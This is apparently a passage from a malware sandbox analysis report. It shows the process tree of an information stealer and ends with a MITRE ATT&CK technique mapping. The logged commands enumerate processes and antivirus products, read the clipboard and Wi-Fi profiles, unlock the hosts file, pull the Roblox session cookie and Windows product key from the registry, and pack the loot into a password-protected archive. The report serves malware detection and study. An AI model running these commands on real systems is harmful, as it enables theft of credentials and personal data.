      Suspicious use of AdjustPrivilegeToken
      PID:3832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5936
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:52
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5408
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6140
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3832
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4264
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    PID:2232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    PID:1936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI6962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\etQAA.zip" *"
    3⤵
    - Executes a command shell one-liner
    PID:5636
  - - C:\Users\Admin\AppData\Local\Temp\_MEI6962\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI6962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\etQAA.zip" *
      4⤵
      Executes dropped EXE
      PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    PID:612
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:944
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    PID:2580
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4956
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:1132
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5012
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    PID:4676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:3352
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:5340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:1956
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact